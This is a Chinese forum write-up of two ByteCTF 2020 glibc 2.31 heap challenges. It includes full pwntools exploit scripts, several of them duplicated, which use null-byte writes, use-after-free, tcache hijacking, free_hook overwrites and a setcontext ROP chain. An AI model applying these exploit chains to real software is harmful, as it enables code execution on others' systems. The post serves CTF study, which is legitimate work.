首页
社区
课程
招聘
[原创]字节跳动ByteCTF2020 两道堆题(glibc2.31)
发表于: 2020-11-20 19:12 15104

[原创]字节跳动ByteCTF2020 两道堆题(glibc2.31)

2020-11-20 19:12
15104

比赛的时候事情有些多,没怎么好好看题,赛后把题目认真做做补一下。

可以看到这里malloc之后会做一个memset做一个清空的操作,但是这个不同于calloc,memset的size是我们输入的size,但是由于我们最小的申请到的单位是0x20,如果我们add的size=1,那么他会返回0x20,这样子把size错开,先free再拉回来,他只清空了1个字节,那么剩下的指针就泄露出来了

这里有两个小细节:

如果size直接就是合法的话,那么 size_1 = size ,那么当运行到:

会被补上一个空字节,对show造成截断。所以这里要做的一个处理就是触发一次任意地址空字节写,把这个空字节写飞,保证他不会影响到后续的printf。

注意他这里使用的for循环读取。那么实际上有两个可以造成读取结束的情况。如果size合法时,我们输入的内容比size小(即触发了\n 结束)的话:也会造成补一个空字节,影响到printf,所以我们要保证,这个循环是由i=size退出(即size=len(Content))而不是提前碰到了换行符退出。

当这两/三个地方绕过后,就能泄露出heap base了

接下来的事情几乎都是堆风水的事情了。

思路就是利用单空字节写,不停的对于偏移0x300位置的chunk进行劫持(overlap),最终达到的目标是申请到pthread_tcache_struct

这样就完成了一个在size被限制的情况下获得一个0x290大小的chunk

接下来我们想多次利用 pthread_tcache_struct,那么我的想法是,首先要劫持pthread_tcache_struct 的 number来填满tcache,保证pthread_tcache_struct可以被free到unsortedbin,接下来,我们劫持pthread_tcache_struct 中的 tcache_entry 保证有多个 tcache_entry 都指向 pthread_tcache_struct 类似如下(由于可申请的size有限,所以我们只能最多劫持6个tcache_entry的指针):

DQbUVU.png

接下来把tcache扔到ubin里,此时在table中有两个tache,然后free进ubin,直接show出来就好。

打freehook,还是老办法,由于pthread_tcache_struct 里已经有了多个指向他本身的指针,那么我们直接在tcache里填上'/bin/sh\x00' 然后free_hook getshell。

1.glibc2.31 保护全开

2.只能orw(白名单)BJ7zP1.png

3.add函数如下图:DQHXg1.png

4.load函数:DQHxu6.png

5.Shoot函数,主要是起一个free和show的作用,这里在free后清空了标志位,但是指针被留下来了(UAF)

BJf4l4.png

效果如下:BJfx6H.png

程序没有在申请chunk的时候做一个对残留指针的清空操作,所以导致可以直接通过把在unsortedbin里的chunk切割回来泄露libc

思路跟泄露libc很像,不过这个时候是利用tcache残留的next指针,然后add回来,再free一次,free的同时show出来heap地址

我们看到程序里的UAF方便了我们的地址泄露,但是程序里并没有任何一个任意写,所以不太好直接劫持指针。

程序里还有一个漏洞在于:如果我们先load(0)load(1) 此时#1 会被放一个#0的地址,但是如果我们再load(0),然后单独free掉#0(因为bss_loaded_bullet只储存最后一个被load的位置),那么这个时候#1上仍然有已经free掉的#0的地址,并且#0已经处于free状态。倘若此时我们再次load(1),然后shoot两次,那么就完成了一个对于#1的double free,但是由于2.31的tcache key检查(且我们没有任意写能破坏key),所以我们需要在fastbin中完成double free

BJLSGn.png

比较重要的是使用了2.31下的这一条gadget配合setcontext+61做栈迁移:

用ropper找的:

大概过程如下:

DQ7UyV.png

实际2.29也有类似的,有兴趣可以自行研究。

最终:

DQ7Bo4.png

 
 
 
 
 
 
 
# encoding=utf-8
from pwn import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path = "./easyheap"
libc = ELF(libc_path)
elf = ELF(elf_path)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
cho='>> '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def free(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='2'):
    sal(cho,c)
    sal(ind,str(index))
def evil_add(size_1,size,content='',c='1'):
    '''
    任意空字节写,既可以篡改任意一个位置为空字节,并且还可以起到把空字节写飞,防止printf的时候发生'\x00'截断
    '''
    sal(cho,c)
    sal(siz,str(size_1))
    sal(siz,str(size))
    sal(con,content)
def exp():
    global io
    io = process(elf_path)
    add(1,'1')
    add(1,'2')
    free(1)
    free(0)
    evil_add(0x100,1,'p')   # size_1 不等于 size , 空字节被写飞,保证不会影响printf发生截断。并且保证len(content)=size
    evil_add(0x100,1,'p')
    show(0)
    ru("Content: ")
    heap = u64(r(6).ljust(8,b'\x00'))-0x270
    success("heap base:"+hex(heap))
    free(0)
    free(1)
    add(0x20,'a')   # 0
    add(0x70,'b')   # 1
    add(0x80,'c')
    add(0x80,'d')
    add(0x80,'e')
    free(4)
    free(2)
    free(3)
    add(0x70,'')
    free(1)
    free(2)
    evil_add('-127',0x30,'ScUpax0s')
    evil_add('-479',0x30,'ScUpax0s')
    add(0x70,'a')
    recover = flat( heap+0x40,0x81,   0,heap+0x10)      # 指向heap+0x40
    add(0x70,recover)
    add(0x80,'a')
 
    free(1)
    free(2)
    add(0x18,'1')
    add(0x18,'1')
    add(0x80,p64(0)+p64(0x81))      # 恢复0x300位置的chunk结构
    hijack_tcahce = flat(   'a'*0x50,p64(heap+0x10)*6    )        # 劫持tcache结构体中的指针指向他自己,保证多次可利用)
 
    free(0)
    free(1)
    free(3)
    add(0x80,hijack_tcahce)     # 至此,把tcache结构体申请出来了。并且多个tcache_entry指向tcache结构体本身,导致可以多次利用
    pause()
    add(0x30,'a'*0x30)
    add(0x10,'a')
    free(3)
    show(1)     # 泄露libc
    libc.address  = u64(ru("\x7f")[-6:].ljust(8,b'\x00'))-96-libc.sym['__malloc_hook']-0x10
    success("libc:"+hex(libc.address))
    system = libc.sym['system']
    success("system:"+hex(system))
    malloc_hook = libc.sym['__free_hook']
    success("free_hook:"+hex(malloc_hook))
    add(0x60,p64(malloc_hook)+b'a'*(8+16*5))
    add(0x20,'/bjn/sh\x00')
    free(5)
    add(0x20,p64(system))
    shell()
exp()
# encoding=utf-8
from pwn import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path = "./easyheap"
libc = ELF(libc_path)
elf = ELF(elf_path)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
cho='>> '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def free(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='2'):
    sal(cho,c)
    sal(ind,str(index))
def evil_add(size_1,size,content='',c='1'):
    '''
    任意空字节写,既可以篡改任意一个位置为空字节,并且还可以起到把空字节写飞,防止printf的时候发生'\x00'截断
    '''
    sal(cho,c)
    sal(siz,str(size_1))
    sal(siz,str(size))
    sal(con,content)
def exp():
    global io
    io = process(elf_path)
    add(1,'1')
    add(1,'2')
    free(1)
    free(0)
    evil_add(0x100,1,'p')   # size_1 不等于 size , 空字节被写飞,保证不会影响printf发生截断。并且保证len(content)=size
    evil_add(0x100,1,'p')
    show(0)
    ru("Content: ")
    heap = u64(r(6).ljust(8,b'\x00'))-0x270
    success("heap base:"+hex(heap))
    free(0)
    free(1)
    add(0x20,'a')   # 0
    add(0x70,'b')   # 1
    add(0x80,'c')
    add(0x80,'d')
    add(0x80,'e')
    free(4)
    free(2)
    free(3)
    add(0x70,'')
    free(1)
    free(2)
    evil_add('-127',0x30,'ScUpax0s')
    evil_add('-479',0x30,'ScUpax0s')
    add(0x70,'a')
    recover = flat( heap+0x40,0x81,   0,heap+0x10)      # 指向heap+0x40
    add(0x70,recover)
    add(0x80,'a')
 
    free(1)
    free(2)
    add(0x18,'1')
    add(0x18,'1')
    add(0x80,p64(0)+p64(0x81))      # 恢复0x300位置的chunk结构
    hijack_tcahce = flat(   'a'*0x50,p64(heap+0x10)*6    )        # 劫持tcache结构体中的指针指向他自己,保证多次可利用)
 
    free(0)
    free(1)
    free(3)
    add(0x80,hijack_tcahce)     # 至此,把tcache结构体申请出来了。并且多个tcache_entry指向tcache结构体本身,导致可以多次利用
    pause()
    add(0x30,'a'*0x30)
    add(0x10,'a')
    free(3)
    show(1)     # 泄露libc
    libc.address  = u64(ru("\x7f")[-6:].ljust(8,b'\x00'))-96-libc.sym['__malloc_hook']-0x10
    success("libc:"+hex(libc.address))
    system = libc.sym['system']
    success("system:"+hex(system))
    malloc_hook = libc.sym['__free_hook']
    success("free_hook:"+hex(malloc_hook))
    add(0x60,p64(malloc_hook)+b'a'*(8+16*5))
    add(0x20,'/bjn/sh\x00')
    free(5)
    add(0x20,p64(system))
    shell()
exp()
 
 
 
 
 
 
 
 
# encoding=utf-8
from pwn import *
#from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path = "./gun"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
cho=b'Action>'      # choice提示语
siz=b'Bullet price: '     # size输入提示语
con=b'Bullet Name:'         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='3'):
    sal(cho,c)
    err = rl()
    #success(err)
    if(err==(b' wrong game command!\n')):
        sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def add_0(size,content='',c='3'):
    sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def free(index,c='1'):
    sal(cho,c)
    sal("Shoot time: ",str(index))
def load(index,c='2'):
    sal(cho,c)
    sal('Which one do you want to load?',str(index))
def exp():
    global io
    io = process([elf_path])
    name='a'*0x18
    sa("name:",name)
    #shell()
    add(0x440,'Large chunk(0x440)')
    add_0(0x10,'defense chunk(0x10)')
    load(0)
    free(1)
    add_0(0x10,'backback')
    load(0)
    free(1)
    libc.address = u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))-1120-libc.sym['__malloc_hook']-0x10
    success("libc:"+hex(libc.address))
 
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    load(0)
    load(1)
    free(2)
    add_0(0x10,'p') # 拉回来,拿到残留指针
    load(0)
    free(1)
    ru(b'Pwn! The ')
    heap = u64(r(6).ljust(8,b'\x00'))-0x270
    success("heap:"+hex(heap))
 
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
 
    #
    load(0)
    load(2)
    load(3)
    load(4)
    load(5)
    load(6)
    load(7)
    load(8)
    free(8)
    # 至此,填满tcache
 
    load(1)
    free(2) # fastbin double free+overlap
 
 
 
    free_hook = libc.sym['__free_hook']
    success("free_hook:"+hex(free_hook))
    # 把tcache的拉回来
    setcontext = libc.sym['setcontext']+61
    orw_addr = heap+0x100
    #success("frame_addr:"+hex(frame_addr))
    p = p64(0)*4+p64(setcontext)
    #success("total len:"+len(p+str_frame[0x28:]))
    frame_addr = heap+0x3d0
    payload = flat(
        0,
        frame_addr,
        p64(0)*2,
        setcontext
    )
    ret = 0x0000000000025679 + libc.address
    add_0(0x68,'A'*0x10)   # heap+
    add_0(0x68,flat(p64(0)*6,orw_addr,ret))
    add_0(0x68,'C'*0x10)
    add_0(0x68,'D'*0x10)
    add_0(0x68,'E'*0x10)
    add_0(0x68,'F'*0x10)
    add_0(0x68,'J'*0x10)
 
 
    add_0(0x68,p64(heap+0x90))
 
    add_0(0x68,payload)      # heap+0x3d0,#8
 
 
 
    pop_rdi = 0x0000000000026b72+libc.address
    pop_rsi = 0x0000000000027529+libc.address
    pop_rdx_r12 = 0x000000000011c371+libc.address
    syscall = 0x000000000002584d+libc.address
    pop_rax = 0x000000000004a550+libc.address
    flag_str_addr = heap+0x100+0xd8
    flag_addr = heap+0x200  # 读入这里
    orw=flat(
        pop_rdi,
        flag_str_addr,
        pop_rsi,
        0,
        pop_rax,
        2,
        #syscall,
        libc.sym['open'],
        # open("./flag",0);
 
        pop_rdi,
        3,
        pop_rsi,
        flag_addr,
        pop_rdx_r12,
        0x100,
        0,
        pop_rax,
        0,
        libc.sym['read'],
        # read(3,flag_addr,0x100)
 
        pop_rdi,
        1,
        pop_rsi,
        flag_addr,
        pop_rdx_r12,
        0x100,
        0,
        pop_rax,
        1,
        libc.sym['write'],
        './flag\x00'
        # write(1,flag_addr,0x100)
    )
 
    success(hex(len(orw)))
    # heap+0x2f0
 
 
    add_0(0x68,payload)
    #pause()
 
 
 
 
    add_0(0x68,p64(heap+0x10)*8+p64(heap+0xf8)+p64(heap+0x10)*2+p64(heap+0x28)+p64(heap+0xf8))  # 劫持0x20位置的tcache_entry
 
 
    add_0(0x18,'a'*0x18)
 
    add_0(0xc8,'aaaaaaaaaaa')
 
    add_0(0x98,p64(heap+0x100))
 
    #pause()
    load(0)
    load(2)
    load(3)
    load(4)
    load(5)
    free(5)
    add_0(0xe0,orw)
 
    add_0(0x28,p64(free_hook))
 
    add_0(0x38,'\x70')
    # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    magic_gadget = libc.address+0x0000000000154930
    success("magic:"+hex(magic_gadget))
    #add_0(0x38,p64(heap+0x100)) # mallochook劫持到orw的地方
    add_0(0x38,p64(magic_gadget))
    success("orw:"+hex(heap+0x100))
    # free(7)
    load(8)
    shell()
 
 
exp()
 
'''
0x0000000000026b72 : pop rdi ; ret
0x0000000000027529 : pop rsi ; ret
0x000000000011c1e1 : pop rdx ; pop r12 ; ret
0x000000000004a550 : pop rax ; ret
0x000000000002584d : syscall
'''
# encoding=utf-8
from pwn import *
#from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path = "./gun"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
cho=b'Action>'      # choice提示语
siz=b'Bullet price: '     # size输入提示语
con=b'Bullet Name:'         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='3'):
    sal(cho,c)
    err = rl()
    #success(err)
    if(err==(b' wrong game command!\n')):
        sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def add_0(size,content='',c='3'):
    sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def free(index,c='1'):
    sal(cho,c)
    sal("Shoot time: ",str(index))
def load(index,c='2'):
    sal(cho,c)
    sal('Which one do you want to load?',str(index))

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-11-20 19:13 被Roland_编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
最新回复 (6)
雪    币: 1931
活跃值: (442)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
一号机 tql
2020-11-20 20:27
0
雪    币: 1041
活跃值: (733)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
cft怎么学习
2020-11-20 21:35
0
雪    币: 14659
活跃值: (17754)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
4
mark,感谢分享
2020-11-20 22:17
0
雪    币: 14659
活跃值: (17754)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
5
鸭子咯咯哒 cft怎么学习
看我的索引贴
2020-11-20 22:17
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
 这个白名单是怎么看的?
2021-7-3 22:22
0
雪    币: 4168
活跃值: (15932)
能力值: ( LV9,RANK:710 )
在线值:
发帖
回帖
粉丝
7
babaa  这个白名单是怎么看的?
安装一下seccomp-tools
2021-7-4 14:47
0
游客
登录 | 注册 方可回帖
返回
//